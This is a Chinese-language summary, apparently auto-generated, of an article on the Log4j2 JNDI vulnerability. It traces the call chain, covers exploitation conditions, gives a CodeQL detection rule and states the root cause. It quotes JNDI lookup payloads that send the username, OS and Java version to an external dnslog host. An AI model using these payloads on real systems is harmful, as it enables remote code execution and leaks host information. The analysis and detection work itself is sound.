Log4j2 漏洞分析

💡 原文中文,约16200字,阅读约需39分钟。
📝

内容提要

本文分析Log4j2 JNDI漏洞,通过复现POC和堆栈追踪,定位漏洞触发点为`MessagePatternConverter.format`调用`StrSubstitutor.replace`,经`Interpolator.lookup`最终由`JndiLookup`发起JNDI请求导致RCE。文章还探讨了实战利用条件、CodeQL检测规则,并总结漏洞本质是lookup功能被滥用,分析堆栈可高效定位漏洞。

🔎

延伸解读

漏洞触发链路解析

文章通过堆栈追踪,将漏洞触发点定位到`MessagePatternConverter.format`调用`StrSubstitutor.replace`,进而经`Interpolator.lookup`最终由`JndiLookup`发起JNDI请求。这一分析思路表明,通过异常堆栈可以快速定位漏洞触发点,减少盲目排查时间。但该方法依赖payload触发报错,且需对Log4j2内部类有一定了解。

实战利用条件

文章指出,实战利用需先确定用户名、操作系统及Java版本,可通过`${env:USERNAME}.${env:OS}.${sys:java.version}`等占位符获取。同时,利用前提是目标环境可出网,若LDAP不出网则无法利用,但若仅HTTP不出网,仍可尝试利用本地classpath中的反序列化漏洞组件。

CodeQL检测思路

文章提供了一段CodeQL规则,用于检测源码中是否存在Log4j2漏洞。该规则通过追踪用户可控数据流向日志调用参数,并判断是否使用了Log4j2核心jar包。这种静态分析方式可辅助安全审计,但需注意规则可能产生误报或漏报,需结合人工验证。

漏洞本质与反思

文章总结,Log4j2漏洞本质是lookup功能被滥用,官方文档本就支持该功能。作者提到曾发现相关sink但未深入研究,事后感到庆幸未因发现漏洞而卷入事件。这提醒安全研究者,发现潜在风险时应及时上报,避免因疏忽导致严重后果。

Q&A

Log4j2 JNDI漏洞的触发点在哪里?

漏洞触发点在`MessagePatternConverter.format`方法,它调用`StrSubstitutor.replace`,进而通过`Interpolator.lookup`最终由`JndiLookup`发起JNDI请求,导致远程代码执行。

如何通过堆栈追踪定位Log4j2漏洞?

通过分析漏洞触发时的异常堆栈,可以定位到关键调用链:`MessagePatternConverter.format` -> `StrSubstitutor.replace` -> `Interpolator.lookup` -> `JndiLookup.lookup` -> `JndiManager.lookup` -> `InitialContext.lookup`。删除无关的JNDI和SPI调用后,即可快速定位漏洞点。

Log4j2漏洞的POC是什么?

POC示例:`String poc = "${jndi:ldap://${env:OS}.dnslog.cn}"; logger.info("{}", poc);` 该POC利用JNDI查找触发远程代码执行。

Log4j2漏洞利用时如何探测目标环境信息?

可以通过构造类似`${jndi:ldap://${env:USERNAME}.${env:OS}.${sys:java.version}.dnslog.cn}`的payload,利用Log4j2的lookup功能获取用户名、操作系统和Java版本等信息。

Log4j2漏洞在不出网的情况下能否利用?

如果HTTP不出网但LDAP出网,可以利用本地classpath中的反序列化漏洞组件进行攻击;如果LDAP也不出网,则无法利用。

如何用CodeQL检测Log4j2漏洞?

可以使用CodeQL规则检测源码中是否存在log4j调用且参数来自用户可控数据。规则通过定义`Log4jCall`类匹配log4j相关方法,并配置污点追踪,将远程数据源流向log4j调用参数作为漏洞路径。

Log4j2漏洞的本质是什么?

漏洞本质是lookup功能被滥用,攻击者可以在日志消息中注入`${}`表达式,触发JNDI查找,进而导致远程代码执行。

🏷️

标签

➡️

继续阅读